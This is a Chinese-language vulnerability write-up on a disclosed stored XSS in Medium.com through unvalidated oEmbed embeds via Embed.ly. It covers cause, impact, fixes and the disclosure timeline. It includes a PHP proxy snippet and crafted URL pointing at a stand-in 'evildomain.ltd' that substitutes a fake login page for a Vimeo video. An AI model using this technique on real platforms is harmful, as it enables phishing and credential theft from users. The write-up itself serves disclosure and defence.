Medium.com的存储型xss(未经验证的oEmbed)
字数 1424 2025-08-27 12:33:42
Medium.com存储型XSS漏洞分析:未经验证的oEmbed
漏洞概述
本漏洞是一个存储型XSS(跨站脚本攻击)漏洞,存在于Medium.com平台中,通过oEmbed功能实现恶意代码注入。攻击者可以利用此漏洞在Medium文章中嵌入并执行任意JavaScript代码,当其他用户查看该文章时,恶意代码将在其浏览器中执行。
技术背景
oEmbed简介
oEmbed是一种开放标准,允许网站通过URL嵌入外部内容(如视频、图片等)。当用户粘贴一个URL到支持oEmbed的网站时,该网站会向URL对应的服务器请求内容信息,并以适当的方式展示。
Embed.ly服务
Medium使用Embed.ly作为oEmbed服务提供商,负责处理各种嵌入内容的请求和展示。Embed.ly维护了一个白名单,只允许特定网站的内容被嵌入。
漏洞发现过程
初始思路
- 尝试直接成为oEmbed提供商:由于需要社会工程学技巧且Medium不允许,此方法不可行
- 尝试添加oEmbed或Open Graph标签:未能成功嵌入恶意内容
最终攻击方法:中间人攻击
- 利用Vimeo作为代理:发现Embed.ly支持嵌入Vimeo视频
- 构造恶意代理:
- 搭建PHP服务器
- 上传钓鱼页面和代理脚本(如miniProxy)
- 修改代理脚本,替换Vimeo视频链接为恶意页面链接
// 在proxy.php中添加以下代码
$responseBody = str_replace(
"player.vimeo.com/video/142424242",
"https://evildomain.ltd/embedly/fakelogin.html",
$responseBody
);
- 实施攻击:
- 在Medium创建新文章
- 插入构造的恶意链接:
https://evildomain.ltd/embedly/proxy.php?vimeo.com/142424242 - Medium会请求该URL获取内容,服务器返回修改后的响应,包含恶意页面
漏洞原理分析
- 缓存机制:Embed.ly使用URL的MD5值作为mediaResourceId缓存嵌入内容
- 内容存储:Medium只存储mediaResourceId,不存储实际HTML内容
- 渲染过程:当文章被访问时,Medium根据mediaResourceId从Embed.ly获取内容并渲染
- 绕过限制:通过中间人攻击篡改Vimeo的响应,注入恶意内容
攻击影响
- 钓鱼攻击:展示伪造的登录页面,窃取用户凭证
- BeEF框架攻击:利用浏览器漏洞进行进一步攻击
- 点击劫持:诱导用户执行非预期操作
- 重定向攻击:将用户重定向到恶意网站而不引起怀疑
限制因素
- 同源策略:注入的代码运行在iframe中,无法直接访问Medium.com的cookie或操作父页面DOM
- 用户交互:需要用户访问包含恶意代码的文章
修复建议
- 加强oEmbed验证:严格检查嵌入内容的来源和内容
- 禁用iframe:避免使用iframe展示嵌入内容
- 缓存清理:定期清理或验证缓存内容
- 内容安全策略:实施更严格的CSP策略
漏洞披露过程
- 时间线:整个修复过程耗时86天
- 沟通挑战:在联系到工程师前收到11封邮件
- 修复步骤:
- 修复初始bug
- 清理恶意缓存
- 公开披露
协同漏洞披露(CVD)经验
- 荷兰政府新准则:从"漏洞报告披露"改为"有序漏洞披露"
- 核心原则:强调清晰交流和协作
- 直接沟通:让报告者与工程师直接交流可提高效率
- 完全披露:作为最后手段,督促厂商及时修复
总结
本案例展示了如何通过中间人攻击绕过oEmbed的安全限制,实现存储型XSS攻击。虽然存在同源策略的限制,但仍可造成严重危害。漏洞披露过程也凸显了有效沟通和协作的重要性。